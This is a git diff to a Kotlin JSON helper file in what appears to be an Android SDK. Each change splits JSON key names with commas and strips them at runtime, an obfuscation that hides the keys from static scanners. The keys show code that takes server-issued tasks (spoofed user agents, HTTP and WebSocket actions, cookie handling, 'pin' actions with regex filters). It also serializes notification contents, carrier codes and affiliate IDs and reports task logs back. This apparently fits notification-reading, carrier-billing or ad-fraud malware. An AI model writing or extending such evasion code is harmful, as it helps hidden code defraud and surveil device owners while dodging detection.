diff --git a/lib/src/main/java/com/example/utils/JsonExtKt.kt b/lib/src/main/java/com/example/utils/JsonExtKt.kt
index 350aef8..8e540d4 100644
--- a/lib/src/main/java/com/example/utils/JsonExtKt.kt
+++ b/lib/src/main/java/com/example/utils/JsonExtKt.kt
@@ -25,7 +25,7 @@ import org.json.JSONArray
import org.json.JSONObject
fun Request.toJsonString(): String {
- val strings = "url_method_headers_body".split("_")
+ val strings = "u,rl_met,hod_hea,ders_bo,dy".replace(",", "").split("_")
return JSONObject().run {
put(strings[0], url)
put(strings[1], method)
@@ -35,7 +35,7 @@ fun Request.toJsonString(): String {
}
fun Response.toJsonString(): String {
- val strings = "code#start_time#end_time#data#header".split("#")
+ val strings = "co,de#st,art_ti,me#en,d_t,ime#da,ta#hea,der".replace(",", "").split("#")
return JSONObject().apply {
put(strings[0], code)
put(strings[1], startTime)
@@ -46,9 +46,9 @@ fun Response.toJsonString(): String {
}
fun List.toJson(): JSONArray {
- val strings1 = "taskId-taskVer-taskUid-lastStep".split("-")
+ val strings1 = "ta,skI,d-ta,skV,er-tas,kU,id-las,tS,tep".replace(",", "").split("-")
val strings2 =
- "step-index-time-url-cost-method-reqHeader-reqData-respCode-respHeader-respData-logs".split(
+ "st,ep-i,ndex-tim,e-u,rl-co,st-met,hod-re,qHe,ader-re,qD,ata-re,spCo,de-re,spH,eader-res,pD,ata-lo,gs".replace(",", "").split(
"-"
)
return JSONArray().let { array ->
@@ -59,7 +59,7 @@ fun List.toJson(): JSONArray {
}
is NotificationMessage -> {
- val strings = "content_from_time_app".split("_")
+ val strings = "co,ntent_fro,m_ti,me_ap,p".replace(",", "").split("_")
val obj = JSONObject()
obj.put(strings[0], it.content)
obj.put(strings[1], it.from)
@@ -107,7 +107,7 @@ fun List.toJsonString() = this.toJson().toString()
fun BaseRequest.toJson(): JSONObject {
val strings =
- "userId-pkg-affId-subId-androidVer-sdkVer-appVer-countryCode-telcoCode-netType-recvFlag".split(
+ "use,rId-p,kg-af,fId-subI,d-andr,oidVe,r-sd,kVer-ap,pVe,r-coun,try,Cod,e-te,lco,Co,de-net,Ty,pe-rec,vF,lag".replace(",", "").split(
"-"
)
return JSONObject().also { r ->
@@ -128,7 +128,7 @@ fun BaseRequest.toJson(): JSONObject {
fun BaseRequest.toJsonString() = this.toJson().toString()
fun ReportTaskRequest.toJsonString(): String {
- return this.toJson().put("taskLogs", this.taskLogs.toJson()).toString()
+ return this.toJson().put("tas,kLo,gs".replace(",",""), this.taskLogs.toJson()).toString()
}
fun Map.toJson1(): JSONObject = JSONObject().run {
@@ -156,7 +156,7 @@ fun Map.toJsonString1(): String = this.toJson1().toString()
fun ByteArray.toTaskResponse(): TaskResponse? {
val strings1 =
- "userAgent-secChUa-acceptLanguage-accept-reportUrl-requestInterval-result-tasks".split("-")
+ "use,rAge,nt-se,cCh,Ua-acce,ptLang,uage-acc,ept-re,por,tUrl-re,ques,tIn,terval-res,ult-tas,ks".replace(",","").split("-")
val taskJsonObject = JSONObject(String(this))
val result = TaskResponse()
with(taskJsonObject) {
@@ -174,7 +174,7 @@ fun ByteArray.toTaskResponse(): TaskResponse? {
}
private fun JSONArray?.toTasks(): List {
- val strings = "taskId-taskVer-taskUid-actions".split("-")
+ val strings = "tas,kId-ta,skVer-taskUi,d-ac,tions".replace(",", "").split("-")
val result: MutableList = mutableListOf()
if (this == null) return result
(0 until length()).forEach { index ->
@@ -192,7 +192,7 @@ private fun JSONArray?.toTasks(): List {
private fun JSONArray?.toActions(): List {
val result: MutableList = mutableListOf()
- val strings = "type-delay-skip_error-async-disconnect_ws".split("-")
+ val strings = "typ,e-del,ay-ski,p_e,rror-as,ync-disc,onnect_,ws".replace(",", "").split("-")
if (this == null) return result
(0 until length()).forEach { index ->
val actionJson = getJSONObject(index)
@@ -228,7 +228,7 @@ private fun JSONObject.toHttpAction(
async: Boolean,
disconnectWs: Boolean
): BaseAction {
- val strings = "request-url-method-auto_cookie-headers-params-cookies-data".split("-")
+ val strings = "req,ues,t-ur,l-me,thod-au,to_co,,okie-he,aders-pa,rams-cooki,,es-da,ta".replace(",", "").split("-")
val httpAction = BaseAction.HttpAction(
delay = delay,
skipError = skipError,
@@ -262,7 +262,7 @@ private fun JSONObject.toHttpAction(
httpAction.response = actionResponse
}
- httpAction.next = optJSONArray("next").toNext()
+ httpAction.next = optJSONArray("ne,xt".replace(",", "")).toNext()
return httpAction
}
@@ -273,7 +273,7 @@ private fun JSONObject?.toPin(
async: Boolean,
disconnectionWs: Boolean
): BaseAction {
- val strings = "next-params-filter".split("-")
+ val strings = "nex,t-p,arams-f,ilter".replace(",", "").split("-")
val pinAction = BaseAction.PinAction(
delay = delay,
skipError = skipError,
@@ -301,10 +301,10 @@ private fun JSONObject?.toWebSocketAction(
disconnectWs = disconnectWs
)
if (this == null) return webSocketAction
- val strings = "request-headers-params-cookies-response-next".split("-")
+ val strings = "re,qu,est-he,ade,rs-par,ams-cook,ies-re,sponse-n,ext".replace(",", "").split("-")
val request = optJSONObject(strings[0])
request?.run {
- val strings1 = "url-data-auto_cookie".split("-")
+ val strings1 = "u,rl-d,ata-a,uto_coo,kie".replace(",", "").split("-")
val webSocketActionRequest = WebSocketActionRequest(
url = optString(strings1[0]),
data = optString(strings1[1]),
@@ -332,7 +332,7 @@ private fun JSONObject?.toWebSocketAction(
private fun JSONArray?.toWebSocketParams(): List {
val result: MutableList = mutableListOf()
if (this == null) return result
- val strings = "wait_time-name-value-interrupt".split("-")
+ val strings = "wa,it_t,ime-nam,e-va,lue-in,ter,rupt".replace(",", "").split("-")
(0 until length()).forEach { index ->
val param = optJSONObject(index)
with(param) {
@@ -372,7 +372,7 @@ private fun JSONArray?.toNameVariable(): List {
}
private fun JSONArray?.toParams(): List {
- val strings = "rule-expr-variable".split("-")
+ val strings = "ru,,le-e,xpr-va,riable".replace(",", "").split("-")
val result: MutableList = mutableListOf()
if (this == null) return result
(0 until length()).forEach { index ->
@@ -394,7 +394,7 @@ private fun JSONArray?.toParams(): List {
}
private fun JSONArray?.toNext(): List {
- val strings = "contain-step-regexp".split("-")
+ val strings = "cont,ain-s,tep-re,gexp".replace(",", "").split("-")
val result: MutableList = mutableListOf()
if (this == null) return result
(0 until length()).forEach { index ->